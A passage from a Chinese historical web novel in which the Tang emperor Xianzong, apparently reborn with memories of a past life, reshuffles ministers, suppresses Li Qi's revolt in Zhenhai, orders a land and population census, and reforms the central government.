“李晟是德宗皇帝时期平定泾原兵变的大功臣,虎父无犬子,他的两个儿子李愬、李听也都是将才,左神策军的中护军张昔让已经回宫,不如让黄如会也回宫,让李听担任右神策军的中护军,帮你襄助军务,以后如果打仗可以做先锋,你看意下如何?”
第24章 更换宰相
李纯说完这些,就目光如炬盯着薛盈珍,盯得薛盈珍心里有点发毛,这哪里是商量?自己怎会为了一个黄如会得罪皇帝,赶快表态说:
“皇上这个主意好,练兵打仗自然是军将更合适,让黄如会回到宫中也是一个好去处。”
李纯听出薛盈珍有点言不由衷,但是不去理他,反而对范希朝说:“你是一员猛将,要好好训练部队,以后会有你大展身手的机会,朕对于你寄予厚望。”
范希朝感到皇上如此厚爱自己,当即表态:“臣定当尽心竭力,把左神策军训练成一支能打仗、打胜仗的劲旅。”
李纯又对薛盈珍说:“李听担任中护军后,你也可以轻松一些,训练部队的事就交给他,如果训练出了问题,朕就追究他的责任,”
薛盈珍一听训练和责任都可以甩给李听,心里巴不得如此,当即说:“奴才回去以后就传达陛下的旨意,督促李听抓好部队训练,一定把右神策军的战斗力提高上来。”
李纯看到在右神策军军换将和削减宦官权力的目的已经达到,就不再纠缠此事,转而对李绛说:
“作为兵部侍郎,你要认真关注左右神策军的的训练情况,掌握各藩镇的动向,关于军费方面,户部从地方藩镇收回了一部分财权,一些比较顺从朝廷的节度使,已经把积欠的赋税上交朝廷,你们兵部可以拿出一部分作为军费,购买武器,改善官兵待遇。”
李绛说:“有了经费事情就好办多了,臣一定关心火器的制作,想办法把军队的战斗力提高上来。”
李纯认为,宦官掌握兵权的事必须彻底解决,但是目前没有充分的理由,也不好贸然把动作搞得太大,暂时不宜解除薛盈珍右神策军统领一职。
李听、李愬兄弟俩都是将才,先后借机提拔使用他们,可以为后面讨伐藩镇储备人才。把李听派到右神策军担任中护军,也是往里面掺沙子,削弱宦官的军权,让薛盈珍不敢轻举妄动,为以后换将提前布局。
考察完火器的后,李纯觉得宦官的问题已经得到控制,开始把更多的精力放在朝廷的人事布局上,特别是考虑宰相的人选。
李纯能够立太子、当皇帝,杜黄裳居功至伟,但是郑余庆罢职后,中书省只剩他和杜佑,两个人都是年龄偏大,杜佑又不怎么管事,杜黄裳考虑事情粗枝大叶,在落实具体事务上考虑不周,很多事办的难以让人满意。
有次,李纯批评杜佑作为宰相没有发挥好作用,杜佑也看出来李纯不满意他,就以年龄大要求退休。李纯就此事征询杜黄裳的意见,还说以后就杜黄裳一个宰相,希望他能挑起重担,把国家治理好。
杜黄裳也是个聪明人,早就感觉李纯有点不满意他,杜佑走了,自己一个人精力有限,更难把政事办好。杜黄裳听出李纯这是正话反说,不想让他丢面子,也向李纯提出要告老还乡,让位给年轻的贤才。
既然两位宰相都识趣愿意退休,李纯故作挽留一番,就正式批准他们退休。
对于杜黄裳,李纯不忘其卓越功勋,加封其为邠国公,还让人在其老家修建了一栋豪华别墅,供其安享晚年。
对于杜佑,只是资格老而已,没给李纯多大帮助,李纯就按照惯例,给其封个司徒,让他体面退休。
至于新的宰相人选,李纯觉得换一次人不容易,必须要能力超群,可以帮助自己解决难题、成就大事。
李纯把几个看好的大臣过了一遍,选中了李吉甫和武元衡,这两个人有思想、有能力,处理事务成熟稳重,而且两人私交很好,关系很融洽,完全符合自己的要求。
按照唐朝的惯例,一般宰相只有两人,分别为中书侍郎和门下侍郎,加同平章事,有时也可以把其他官员加个同平章事衔,相当于增加宰相数量。
秦汉的丞相位列三公,是一品大员,为百官之首,位高权重。唐朝的宰相则就逊色很多,和各部尚书、地方节度使一样,都是三品官,官职并不高,只是帮助皇帝办理朝廷事务,权力比较大,实际上是相当于秘书长的角色。
李纯决定只设两名正式宰相,下旨任命李吉甫为中书侍郎,武元衡为门下侍郎,均为正三品,加同平章事,正式封两人为宰相。从权力和排序来说,中书侍郎更重要一些,算是百官之首,门下侍郎居次。
李吉甫和武元衡一直跟随李纯,心意相通,觉得李纯可能会重用自己,但也拿不准会怎么使用,正式接到圣旨后,竟然是直接拜相,两人喜极而泣。
李吉甫感叹道:“我李吉甫长期在江淮的地方官上流落转任达十五年,入朝才一年多,就受到皇上如此大的恩典,唯有肝脑涂地,才能报答圣恩。”
武元衡也说:“我武元衡遇到明主,唯有尽力报效,辅佐皇上干一番大事业,才不会辜负皇上的知遇之恩
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两个新的宰相人选到位以后,李纯对朝中其他位置也小范围的调动一番,让几个不能干事的老臣退休,把部分平庸的官员调到次要的岗位,在重要的岗位上换上了比较得力的人才。
李纯也想过进行更大幅度的调换人事变动,但是朝中人才不多,很多机制还没理顺,他计划等时机成熟以后再进行大规模的调整。
元和二年初,完成朝廷的人事调整后,李纯开始系统的考虑解决藩镇的问题。唐朝的藩镇问题始于唐玄宗,以安史之乱为标志,对唐朝的国力造成了巨大的破坏。
唐代宗、唐肃宗时期,虽然花费极大的代价平定了安史之乱,但为了图省事,没有从制度上进行改变,后面的几个皇帝甚至把藩镇的制度固定化,导致藩镇问题愈发严重。
从全国来看,藩镇问题最为严重的是安史之乱的策源地河北地区,河北存在卢龙、昭义、成德、魏博、横海五个藩镇。
其中卢龙辖以幽州为中心的7个州,拥兵6万左右,实力最强;成德有6个州、魏博有5个州,各自拥兵4万左右,实力次之;昭义、横海各自有3个州,拥兵2万,相对较弱。
河北五个节度使,成德的王士真、魏博田**独立的倾向最强,兵权、财权、人事权全部抓在自己手里,基本不鸟朝廷。
卢龙的刘济虽然实力更强,但是态度稍好,面上还算给朝廷面子,偶尔给朝廷交点赋税,其他权力也是紧紧抓在自己手里。
昭义的张茂昭虽然处于半独立状态,但是对朝廷的态度比较好,不仅每年上交一定的赋税,而且听从朝廷的派遣。
横海的程执恭,属于朝廷任命的节度使,虽然有点小心思,但基本服从朝廷的命令。
在河南,也有两个独立性较强的节度使,一是在东部的平卢节度使李师道,此人趁顺宗生病的机会,从哥哥李师古那里接过节度使的位置,拥兵六万,野心勃勃;二是在淮西一带的吴少阳,拥兵四万左右,离洛阳比较近,对朝廷威胁最大。
在江南,有朝廷任命的镇海节度使李锜,管辖六个州,拥兵三万。李锜本是朝廷任命的节度使,和那些父子兄弟相承的藩镇并不相同,但是他任镇海节度使多年,逐渐有了异心。
由于他下辖的六个州的刺史都是朝廷任命的,跟他并不齐心,而且江南兵的战斗力不如北方兵,所以实力不算强。
第25章 智取镇海
一个多月后,梁守谦和韩愈衔命来到镇海节度使所在的润州(今镇江),到位了解基本情况后,两人就按照事前的约定分头行动。
宣慰使梁守谦领着一队人马,带着大批的慰问品来到李锜府邸,亮出身份,表明来意,要进去慰问李锜。
门人赶快向李锜禀报,李锜听闻一惊,赶紧躺到床上装病,并派人将梁守谦迎接进来。
梁守谦进门后,连忙走到床头探视,说:“李大人为官一方,操劳政务,积劳成疾,皇帝惦念着你,派我来慰问李大人。”
李锜装模作样咳嗽几下,然后抬起头说:“恕李某有恙在身,不便起身相迎,还望梁公公见谅,皇上还能惦记下官,李某感激涕零。”
梁守谦看着他装,也不捅破,装作很关心的样子,问长问短,聊了很长时间才走,为韩愈争取时间。
韩愈带着两个随从,与梁守谦同时出发,直奔王澹住处,王澹提前接到消息,早已等待多时。
一见面,韩愈就说:
“李锜大人身体有病,王大人作为留后,本应履行管理镇海的职责,但是李锜似乎并没有放权,皇上让我问你,李锜是不是有为难你?”
王澹犹豫了一下,说道:
“李锜在镇海经营多年,树大根深,影响力很大,他仍然实际掌控着镇海,我这个留后很难实际开展工作。”
韩愈则说:
“既然李大人病了,就应该由王大人主持日常工作,李锜既已被征召入朝为官,就不应该再干预镇海的政务。”
王澹叹了一口气,说道:
“他那是装病,他在镇海就像个土皇帝,搜刮无数,哪里会心甘情愿的走,不过是在拖延时间罢了。”
韩愈鼓励说:
“李锜心里的小九九,朝廷不可能不知道,皇上知道王大人是个忠义之士,如果能够解决李锜的问题,朝廷将不会亏待你,还请王大人要与朝廷一心。”
听到有些眉目,王澹眉头一喜,连忙说:“皇上如有吩咐,王某定当尽心竭力,万死不辞!”
韩愈又增加了诱惑:
“王大人在镇海任职多年,勤恳为民,政绩斐然,目前已任镇海留后。皇上曾向我透露,镇海如果能够顺利回归朝廷的管辖,有意任命王大人为镇海节度使。”
王澹听到这些话更加高兴,当即拜谢说:“皇上如此厚待王某,王某万分感激,如有差遣,还请韩大人吩咐。”
韩愈断然道:“李锜心怀不轨,不太可能入朝,早晚必反,王大人要发挥作用,采取措施阻止他的阴谋。”
王澹说道:“我也觉得李锜会反,他贪财好货,自私狭隘,喜欢猜疑,辖区内六个州的刺史都太不服他,有些将领也不愿意跟随他,如果他敢谋反必然失败。”
韩愈语重心长地说:“王大人在镇海任职多年,自然是对各属官、将士的情况比较掌握,这也是皇上信任你的原因,你要发挥好这个优势,配合朝廷解决镇海的问题。”
王澹立即表态:“承蒙皇上信任,委以重任,王某自当尽心竭力,多方联络,联合其他忠贞之士,阻止李锜的谋反行为。”
韩愈赞道:“说得好,后面就看王大人的了,我们走后,梁公公回京向皇上报告,我过江后,就留在江对面的扬州,有什么情况,你可派人随时联络于我。”
宣慰活动结束后,梁守谦回到长安,向李纯报告到镇海出使慰问的情况,李纯召集李吉甫和裴垍一起听取他的汇报。
听完后,李纯对梁守谦和韩愈的办事能力表示满意,说道:
“如果策反发挥作用,和平解决镇海固然是好事,但是李锜毕竟掌握了镇海的大部分军队,很可能铤而走险,朝廷还是要做好派兵讨伐的准备。”
裴垍说:“皇上说得对,李锜也不是无能之辈,必会做困兽犹斗之举,臣也认为朝廷要提前调集军队,一旦生变立即派兵讨伐。”
李吉甫说:“镇海周边的部队都忠于朝廷,镇海内部不合,只要朝廷下定决心征讨,一定可以击败李锜。”
李纯说:“武元衡走了,李爱卿集中精力做好中书省的工作,处理好日常政务,裴爱卿近期把工作重心放在策划对李锜的讨伐事宜上,韩愈那边也由你调度,对镇海内部进行策反,争取以最小代价解决李锜。”
两位大臣领命而去,裴垍开始进行军事讨伐李锜的准备,要求镇海周边的淮南、江西、浙东等地军镇调集部队,做好各项准备,李锜一有异动,朝廷下旨后,这些部队可随时出战。
王澹受到韩愈鼓励以后,胆气也壮了,敢于以留后身份处理各项事务,在
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人事调动和事情处理上,开始不听李锜的意见,经常自行其是。
看到昔日的部属竟然不听自己的话,李锜大怒,决定采取行动,武力夺回权力。
李锜和几个心腹将领商议,想要直接杀掉王澹,将领赵琦和王澹关系较好,当场表示反对,李锜一不做二不休,先把赵琦抓住,然后又派人把王澹诱骗过来,然后将两人一起杀害。
为了防止朝廷责罚,李锜向朝廷上表,谎称将领赵琦带领军队哗变,杀了王澹,自己已经带兵杀了赵琦,平定叛乱,但要留下来控制局势,无法入朝。
有韩愈在扬州搜集情报送到长安,李纯自然知道是怎么回事,和裴垍商议后,决定给他最后一次机会,也是一次通牒,下旨征召李锜为左仆射,这是很高的待遇了,同时委任御史大夫李元素为镇海节度使,限令李锜接到圣旨后,立即启程到朝中任职。
李锜知道自己作恶多端,入朝没有好果子吃,狠了狠心,决心起兵反叛,割据一方。他知道除自己坐镇的润州,其他五个刺史和他不一心,前面就派了五个心腹将领监视他们,决定反叛后,他分别给五个将领下令,让他们杀掉五个刺史,然后起兵和他共举大事。
那几个刺史本就和李锜不一心,加上韩愈一再策反,对李锜早有防备,不甘束手就擒。
常州刺史颜防运富有谋略,找准时机提前动手,用计**了监视他的将领李深。
湖州刺史辛秘早已暗中招募同乡弟子几百人,作为死士,乘夜袭击防备他的将领赵惟忠,将其杀掉。
忠于李锜的苏州将领姚志安获得成功,打败苏州刺史李素,将李素关押起来,控制了苏州。
杭州和睦州离润州较远,两地的将官都不想火并,观望未动,后面朝廷下令浙东的军队过来讨伐,两州先后投降。
李纯收到李锜正式反叛的消息后,和李吉甫、裴垍简单商议了一番,正式下达诏书,削除了李锜的官职爵位和皇室名籍,任命淮南节度使王锷为招讨使,征调镇海周边的浙东、江西、武昌、宣州等地的军队**讨伐李锜。
朝廷的各路大军压境,眼看祸患将至,李锜仍不思悔改,反而要兵行险招、反戈一击,派出大将张子良带兵三千袭击宣州,想通过攻占宣州,扭转颓势。
第26章 讨平李锜
张子良看到形势对李锜极为不利,而且早已被韩愈策反,岂会听从李锜的命令去送死,他密召其好友裴行立,共同策划反击李锜。
裴行立是李锜的外甥,深得李锜信任,被委任守卫润州城之职,他虽是李锜的亲人,但是在大势面前,裴行立不敢马虎,他可不想陪着李锜覆灭,决定和张子良一起反正。
经过密议,张子良和裴行立决定采取内外夹攻的方式,一举擒获李锜。张子良先召集几个心腹将领,讲清大势,劝导他们随自己反正,那几个人也看清李锜必败,内部迅速达成一致。
经过一番准备,张子良把部队集中在润州城外,张子良对着将士们大声喊道:
“李节度使要谋反,朝廷下令讨伐,四周都是朝廷的军队,眼看就要打过来了,李节度使必败无疑。我们如果听从他的命令,去攻打宣州,就是罪上加罪,难逃一死。我们如果反戈一击,追随朝廷,诛杀叛逆,就可以戴罪立功,转祸为福!”
众将士也都不傻,看出李锜必败,没人愿意为了他送死,齐声赞同反正。
当晚,张子良率军直扑润州城,守城的正是裴行立,他按照约定打开城门,用火把引导张子良的部队入城,自己也率领亲军直奔李锜的府邸。
平时,李锜组建了一支三百人的特战部队,号称“挽强”,作为自己的亲军卫队,由他的侄子李钧带领,这支部队非常忠于李锜。李锜听说心腹大将张子良和亲外甥裴行立都反叛了,气的大骂,知道大势已去,急的到处躲。
李钧仍是冥顽不灵,仗着有些战力,带领三百“挽强”出来反击,企图挽救颓势。
张子良和裴行立有几千人,又提前谋划,李钧带人刚出来,就被裴行立带兵伏击,李钧当场被斩杀,其他“挽强”虽拼死抵抗,但难阻大势,大部**,还有的**,全部覆灭。
消灭“挽强”部队后,张子良和裴行立带人在李锜府中到处搜查,终于在幕帐后面找到躲藏的李锜,干脆直接用幕帐将他裹住,再用枷锁锁住,押送长安。李锜被押解到长安以后,李纯亲自带着大臣审问他。
李纯问李锜:“你是皇族李氏一脉,朝廷待你不薄,你为何要谋反?”李锜怨恨张子良等人反叛他,于是想祸水东引,于是说:“我本不想谋反,都是手下将领张子良教唆谋反,我是被裹挟的。”
李纯被他气坏了,完全是一派胡言,怒道:“你是镇海节度使,代表朝廷行使一切权力,张子良想谋反,你为何不把他们抓起来,押送京师,反而是你谋反失败,被张子良押送京师?”
李锜无言以对。按照律令,李锜谋反,他的儿子李师回已经成年,知情并参与,两人都要被斩首,为了稳妥起见,李纯让大臣们讨论对其他相关人员的处理意见。
有人建议要对其亲属实行连坐,一并治罪,兵部郎中蒋义上书道:
“李锜和他的兄弟亲属都是淮南王李神通的后代,李锜的父亲是李国贞,曾为朝廷立下大功,李锜该死,其他兄弟不该治罪。”
李纯看了后,深以为然,李锜和李师回该杀,其他人或不知情、或没有参与此事,不该问罪,对待皇族之人也要留有余地,于是将李锜几个当官的兄弟贬职处理,其他的一概不予追究。
李锜在镇海多年,搜刮了不少钱财,数额惊人,如何处理这些赃款赃物,大臣们也有不同意见。有人认为既然是**的钱财,就应该按照律法,全部没收,上交朝廷。也有人认为,这些钱财都是从镇海几州百姓那里搜刮的,理应返还给百姓。
最后,李吉甫上书道:“按照前面颁发的圣旨,各节度使的赋税收入,应当一半上交朝廷,一半留下自用,可以将这些财物一半解送朝廷,交给户部,一半按照比例分给各州,代替百姓要交的赋税。”
李纯对李吉甫的提议甚为满意,就按他的意见下旨办理。在处理李锜事件上,李纯对裴垍和韩愈的表现相当满意,对于这种以小的代价解决了一个藩镇,较为欣赏,便想着重用此二人。
正好武元衡去了西川,宰相空出一个,裴垍也有宰相之才,李纯任命裴垍为门下侍郎,同平章事,与李吉甫并为宰相。
前面已经任命李元素为镇海节度使,李纯于是任命韩愈为镇海节度副使,一是不至于一下子提拔幅度太大,其他官员有意见,二是可以牵制节度使的权力,不再形成尾大不掉的局面。
讨平李锜后,朝廷的威望进一步提高,其他藩镇再也不敢有所异动,包括历来比较跋扈的河北藩镇,也老实了一些。
李纯也知道,藩镇问题日积月累,不是短期内可以彻底解决的,目前应该先集中精力处理好内政,待朝廷的实力进一步增强,就可以开展更大规模的削藩行动。
朝廷先后两次剿灭地方藩镇的叛乱,李纯的地位更加稳
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固,开始考虑对土地兼并和隐匿人口的问题动手,但到底该如何解决,他也心里没底,就召来李吉甫和裴垍商议此事。李纯对两人说:
“朕即位初期,就有大臣反应土地兼并和豪门藏匿土地和人口的问题,当时因为朕的地位还不稳固,所以就拖延至今,关于这个问题,你们看该怎么解决?”
李吉甫率先发言:“我朝在初期实行均田制,根据各家人口数量分配土地,但是在安史之乱以后,土地兼并就越来越厉害,到了德宗年间实行两税法,均田制彻底瓦解。土地兼并的问题前后经历上百年,很多土地的主人换了好几茬,要想厘清,再实行均田制难度太大。臣建议可以从豪门藏匿人口和土地下手,这样难度会小一些。”
裴垍则说:“有些豪门权贵与官员勾结,窝藏人口,隐匿土地,不仅减少了朝廷的税源,还加重了平民的负担,本就该抓,但是土地兼并越来越厉害,造成了很多失地农民,这个问题也要着手解决。”
李纯考虑了一会说道:“朝廷做事还是要稳步推进,可以先集中力量解决豪门窝藏人口、隐匿土地的问题,待这个问题解决之后,再考虑解决土地兼并的问题。”
李吉甫说:“就算朝廷花很大力气重新搞均田制,但是有些百姓缺钱时,还是会卖掉土地,有钱的人则会买入土地,还是会重新出现土地兼并。而且目前各家的土地大部分都是买卖而得,总不能强行从地主手里抢过来分给贫民。”
裴垍仍然持不同观点:“作为朝廷重臣,肯定要为天下百姓着想,那么多贫民没有土地,他们的生活就没有保障,无论如何总要搞一些土地给那些无地农民,让他们有个安身立命的地方。”
李纯结合自己的远大理想,突然有了一些灵感,说道:“半年多以前,李吉甫曾经鼓励农民到南方一些边远地区垦荒,起到了一些作用,以后朝廷要大规模扫平藩镇,还要对外扩张,都可以搞来一些土地,这样就可以让那些无地农民可以搞到一些土地。”
裴垍感觉李纯有点异想天开,就委婉说道:“扫平藩镇目前难度都很大,更何况是对外扩张,这要等到什么时候呀。”
李吉甫则说:“陛下说的倒是一个思路,好饭不怕晚,如果能搞到新的土地,就能解决贫民无地的问题。如果打击豪门太狠,他们很有可能倒向藩镇那边,增加解决藩镇割据的难度。”
第28章 强化相权
李吉甫也听出来了,李纯这是给两个宗亲台阶下,也不便捅破,就说:
“陛下英明,如果追溯过往,不知要从哪年哪月算起,今年清查完毕以后,就从今年算起,这样大家都没意见。”
李纯又说:
“这次清查多出来的土地和人口,全部要按照标准收取赋税,同时也要取缔有些地方胡乱给平民增加的税赋,做到取之于民,用之于民,给底层人民减轻负担。”
李吉甫觉得李纯已经考虑的比较周全,当即领命而去。
李吉甫回去以后,首先派人到李谅和王士平原来庇护的地主那里清查土地和人口,这些人还心存侥幸,又跑到两个宗亲那里找关系。
李谅和王士平上次被李纯敲打以后,内心紧张的半死,哪还敢跟这些人沾上关系,命人将他们赶走。
李吉甫还声称,哪个官员如果胆敢阻挠清查土地人口,甚至帮助他人隐匿,就派御史台的人严查涉案的官员,只要发现违法行为,严惩不贷。
在高压态势下,绝大部分人只能老老实实配合朝廷的人口和土地清查活动,没想到还是有人心存侥幸,企图蒙混过关。
前面已经仁至义尽,敲打提醒到位,李吉甫这次就不客气了,对一些参与隐匿土地和人口的地主和官员施行重罚。
李吉甫将那些隐匿的土地全部充公,隐藏的人口全部与地主脱离关系,对于涉案的官员交给御史台严查,按照**金额的大小分别予以撤职、流放,甚至判入监牢。
经过几个月的努力,朝廷共多清查出土地近三千万亩,两百多万人口,并取缔了一些地方擅自增加的赋税,虽然朝廷总的征收赋税没有增加多少,但是确实减轻了底层百姓的负担。
当然,由于还有很多藩镇具有很大的独立性,所以这次的土地和人口清查,主要在朝廷能够直接控制的区域进行,对于一些强藩隐匿的土地和人口,李吉甫也是无可奈何。
总体来说,李纯对于李吉甫开展的活动还是比较欣赏的,认为他刚柔并济、恩威并施,基本达到了自己的预期目的,有效缓解了社会矛盾。
针对藩镇的影响,李纯也没幻想一次性就把问题彻底解决,等后面削平藩镇以后,再搞一次清查,就可以实现全国统一标准。
土地和人口清查的事告一段落后,李纯开始将精力放在朝廷的机构改革上。李纯即位初期就发现朝廷的机构设置有很多不合理的地方,但因当时的事情比较多,时机不成熟,就暂时放下了。
经过近两年多的观察和体验,李纯对唐朝的制度有了更加深入的了解,觉得可以首先对朝廷的中央机构进行改革。
在唐朝的官制设置上,虽然官员由高到低设置为一到九品,但是对高级官员控制比较严,一二品的大员不轻易授予,给的也是一些虚职,纯属摆设。
中书侍郎,门下侍郎,加同平章事,履行宰相职能,却只有三品,和各部尚书、各地节度使差不多,没有一点权威,纯粹就是相当于秘书长,对皇帝的好恶依赖太大,不利于独立开展工作。
李纯觉得要干大事,就要依赖一大帮人才,各管一摊,协同配合,自己要把主要精力用在制定战略和重点工作上,没办法事事操心,其他的事务就是要放权给一些有能力的大臣,让他们大胆去干,这样才能多点开花、齐头并进,开创大业。
李纯决定,首先对三省的机构进行改制,把顶层架构搭好,以后再逐步往下改革。
强化中书省决策机构的职能,把中书省作为朝廷核心的议事和办事机构,设两个宰相,分任中书左丞、右丞,定为正二品官,配有三个光禄大夫,定为正三品官,五人以左丞为首,实行集体负责制。
朝廷的重要事务,由中书省商议后,向皇帝提出意见,并由皇帝决策。中书省的两个宰相由三品提升为二品,又增加了三个正三品的参政官员,地位大为提高,成为朝廷施政的中枢。
尚书省的执行机构职能不变,六部仍为执行部门,各部尚书仍为正三品不变,尚书省设左、右仆射,仍为从二品,主要为虚职。
门下省的审议机构职能不变,对中书省制定的意见进行审核,认为其不当的,可以驳回,并向皇帝反映,也可直接向皇帝提出施政的意见、建议。
门下省设门下侍中一人,级别定为从二品,设门下侍郎一名,从三品,设三个青禄大夫,正四品,以门下侍中为首,共同发挥监督审议和参政议政的作用。
对三省的机构改革,重点是加强中书省的权力,皇帝可以通过中书省来进行决策、推行重大事项,中书省也可以按照皇帝的授权,自行处理朝廷的一般事务,让皇帝可以集中精力处理重要的事项。
门下省继续审议、监督、建议的职能,可以对中书省和六部错误的意见和政策进行纠偏,但实
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际上中书省的决策都是执行皇帝的意见,所以门下省实际作用有限。
尚书省下属的六部作为执行机构,是朝廷重要的办事部门,必须执行皇帝和中书省下达的决策。
经过李纯的改制,中书省成为朝政运行的核心,左、右丞成为实职中品级最高的,实至名归,成为名副其实的宰相,同平章事的官职以后仅留作虚衔赏给有功之臣。
李纯还筹划撤销宫内的内枢密院,单独成立一个类似秘书处的机构,辅助自己处理事务,取消宦官参政的权力,一时还没有合适人选,打算等到时机成熟再办。
朝廷官制改革,李吉甫和裴垍分别被任命为中书省左丞、右丞,两人都是刚升为中书侍郎、门下侍郎不久,又被升为左丞、右丞,李纯怕给他们升的太快,其他官员意见太大,就给他们先定为从二品,待以后合适机会再升为正二品。
经过其他官员的推荐和李纯的考察,李藩、权德舆、崔群被选定为中书省光禄大夫。光禄大夫作为中书省成员,配合左右丞一起处理政务,参与决策,是皇帝的重要参谋人员,也可以按照皇帝的指派,单独负责某项事务。
按照唐朝的惯例,官员升职要进宫向皇帝谢恩,中书省的五个官员升职后,李吉甫、裴垍和李藩、权德舆、崔群都深感皇恩浩荡、心存感激,集体到宫中向李纯谢恩。
五人到宫中后跪下三叩首,齐拜道:“臣等感谢陛下鸿恩,定当为振兴大唐尽心竭力,鞠躬尽瘁。”
李纯道:“五位爱卿请起,以后中书省就是我朝施政的中枢,你们的担子很重,朕也是经过长期考察,认为你们五人能力突出、勇于任事,才让你们担此重任,希望你们在中书省能够帮助朕谋划全局、破解难题,把国家治理的繁荣昌盛。”
李吉甫说:“陛下给予我们这么大的恩赐,我等能力有限,却获此殊荣,甚为惭愧。”
李纯道:“古人说,用人不疑,疑人不用,我想干一番大事业,急需贤才辅助,不光是你们,以后凡是有大才的人,中书省都可以挖掘推荐,朕都会委以重任。以后中书省就以李爱卿为首,裴爱卿为次,其他三人共同参与,谋划政事,提高朝廷的办事效率。”
裴垍说:“关于推荐人才,臣以为八司马中就有一些人才,他们虽然犯了错误,但是已经深刻反省,被贬官外放两年了,陛下可以酌情考虑使用。”
第29章 选贤任能
李纯沉吟一下说道:
“前段时间户部尚书李巽曾跟我提到过,八司马中的程异理财能力不错,他想调上来;范希朝比较欣赏韩泰,觉得他有一定的军事能力,也想调上来;刘禹锡和柳宗元文声、政声都不错,也可以使用。这样吧,你们中书省的第一件事就是会同吏部,把这四个人先安排到合适位置。至于其他人,朕暂时还没看到他们的特殊才能,先放一放,待以后再使用。”
裴垍说:“陛下不计前嫌,皇恩浩荡,臣替他们谢过陛下。”
李纯道:“目前朕急需人才,特别是经济、**、军事上的人才奇缺,你们可以多留意、多推荐。”
李吉甫说:“这些都是臣等职责所在,在朝政上,不知陛下想从哪里重点抓起,我们好留意相关人才。”
李纯说道:
“削平藩镇,看似军事最为重要,其实不然,朕认为经济才是首要,只有老百姓富了,国家有了足够的财力,才能办大事,国家才能真正变强,李爱卿前面搞了些办法,增加了一些赋税,但是还不够,还要从其他方面下手,多管齐下,既让百姓富起来,又能让国家增加赋税,才是个可持续的好办法。”
李吉甫说:“陛下提的要求很高,我等定会多方探讨,拿出一个章程,不知陛下在经济上有什么思路。”
李纯说道:
“兵部侍郎李绛、户部尚书李巽,均在经济上有独到见解,你们可以跟他们多探讨,搞经济不要光盯着田赋那点钱,还要从盐铁茶酒方面想办法,更要在促进商业上采取一些措施。”
李吉甫有点疑问:
“盐铁茶酒方面想办法,我等还可以理解,历朝均重农抑商,认为农业才是国家经济的根本,商人不事生产,靠转手买卖获取重利,促进商业不是有利于商人盘剥吗?”
李纯则说:
“此乃大谬,商业的发达可以促进商品流通,生产者的产品可以很快卖出去,提高生产积极性,通过充分竞争,居民也能以合理价格买到商品。这样一来,农工两业可以积极生产,居民买东西更实惠,商人也可以获利,社会总的财富增加了,国家可以征更多的赋税。当然确实也有一些不良奸商,哄抬价格,谋取不义之财,让不少人对商人嫌恶,这都是局部现象,不能因噎废食。”
裴垍说:“陛下说的,我们虽然还没有全部理解,但是愿意一步一步去尝试,力争把经济逐步搞起来。”
李纯说道:
“中国上千年的重农抑商政策,很多人对商业的认识存在偏差,也不是短期内就能解决的,你们可以分步来做,先做大家能够理解的,见效快的。经济的事先就这样,下面商议一下征召几个节度使入朝的事。”
李藩问道:“陛下,是想调几个节度使入朝为官吗?”
李纯道:“不是,我是想征召几个节度使入朝觐见,以后成为惯例,各节度使要定期入朝觐见,增强朝廷对他们的控制。”
李吉甫说:“其他节度使应该不成问题,但是几个离心倾向较强的节度使恐怕会找借口不来。”
李纯则说:
“朕就没打算让那几个刺头来,做事先易后难,先挑五个服从朝廷的节度使,让他们下个月入朝觐见。先逐步把那些愿意向朝廷靠拢的的藩镇拉过来,让大部分藩镇服从朝廷的治理,然后再集中力量摆平那几个顽固的藩镇,必要时动用军事手段,朕有信心实现天下一统。”
李吉甫说:“陛下如果能解决藩镇割据的问题,将是我朝大幸,也是不世之功,我等这就回去谋划,拟旨征召五节度使入朝。”
八司马被贬以后,本以为皇帝恨死他们了,再没有出头之日,没想到还不到两年,朝廷就传出圣旨,征召程异为户部度支、韩泰为兵部郎中、刘禹锡为和州刺史、柳宗元为黄州刺史。
四个人感动不已,没想到皇帝还能启用他们,非常当初后悔和王叔文一起阻止立李纯为太子,从此尽心为朝廷办事,报答皇帝的宽容爱护之心。
办完第一件事以后,中书省开始筹划征召五节度使入京的事。李吉甫、裴垍和三个光禄大夫商议以后,觉得山南西道节度使严砺、东川节度使韦丹、恒海节度使程执恭、昭义节度使卢从史、淮南节度使王锷一直忠于朝廷,接到征召的圣旨后,来京师述职没有问题,给其他节度使做一个好的榜样。
经报告李纯同意后,中书省正式下旨,要求五个节度使接到圣旨后立即入朝述职,并在圣旨中说明,只是来京述职,报告任职的情况,体现对朝廷的服从之意,并无他事,打消五个节度使的顾虑。
李纯在处理朝政之余,非常留意朝中的人才,以后可以安排在重要的岗位上,帮助自己治国理政。在中下级别的官员中,元稹和白居易表现非常突出,两人虽然官职较低,但是敢于上书,对于一些大事发表自己的观点,提出务实的意见和解决办法,有思想、有见解。
元稹和白居易又是当时有名的诗歌圣手,也会经常写一些诗歌,献给李纯,虽然不乏一些赞美之词,但是诗歌的水平确实好,李纯非常喜欢。李纯在前世的印象中,也记得两个人是大诗人,**上也有才能,所以就有了重用他们的想法。
有一天,监察御史元稹和左拾遗白居易先后向李纯上书,元稹要求对加强对官员的巡查、监察,惩治奸邪之辈,白居易要求下去访察民间疾苦,为朝廷施政提供参考。李纯前段各项事务繁忙,和他们接触和交流的比较少,这次有些时间了
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,就决定在宣政殿召见他们。
两人进宫后,向李纯跪拜行礼,李纯给他们赐座,让他们汇报自己的想法。两个人坐定后,李纯认真打量了他们一下,元稹略微年轻,不到三十岁,英姿勃发,颇有倜傥的才子之气;白居易略微年长,三十四五左右,成熟稳重,透着一股儒者风范。
李纯道:“两位爱卿乃我朝两位才子,朕非常欣赏,奈何政务繁忙,与尔等见面交流的机会太少,今日要跟两位爱卿好好聊聊,朕听说白爱卿写了一首《长恨歌》,元爱卿写了一部《莺莺传》,都是在民间广为传颂,一时洛阳纸贵呀。”
白居易连忙说:“陛下谬赞了,当时微臣任周至县尉,与朋友郊游时,路过马嵬驿,聊起玄宗当年事,有感而发,写的有些唐突,还望陛下见谅。”
元稹答道:“微臣也是凭着感觉随便写的一个小说,没想到百姓们爱看,里面的内容有些孟浪了。”
李纯道:“不碍事,文学和从政并不矛盾,但是目前朝中积弊甚多,需要各位臣僚多花一些精力去解决,等形势好些,你们再多写点文学作品。”
元稹答道:“微臣谨记陛下教导,微臣作为监察御史,非常关注官员的风气情况,今日就是要向陛下建议整顿吏治一事。”
李纯道:“元爱卿所言极是,我朝自玄宗皇帝以来,对官员的管控松弛,吏治**、官员不作为的问题比较突出,朕也正想整治一番。”
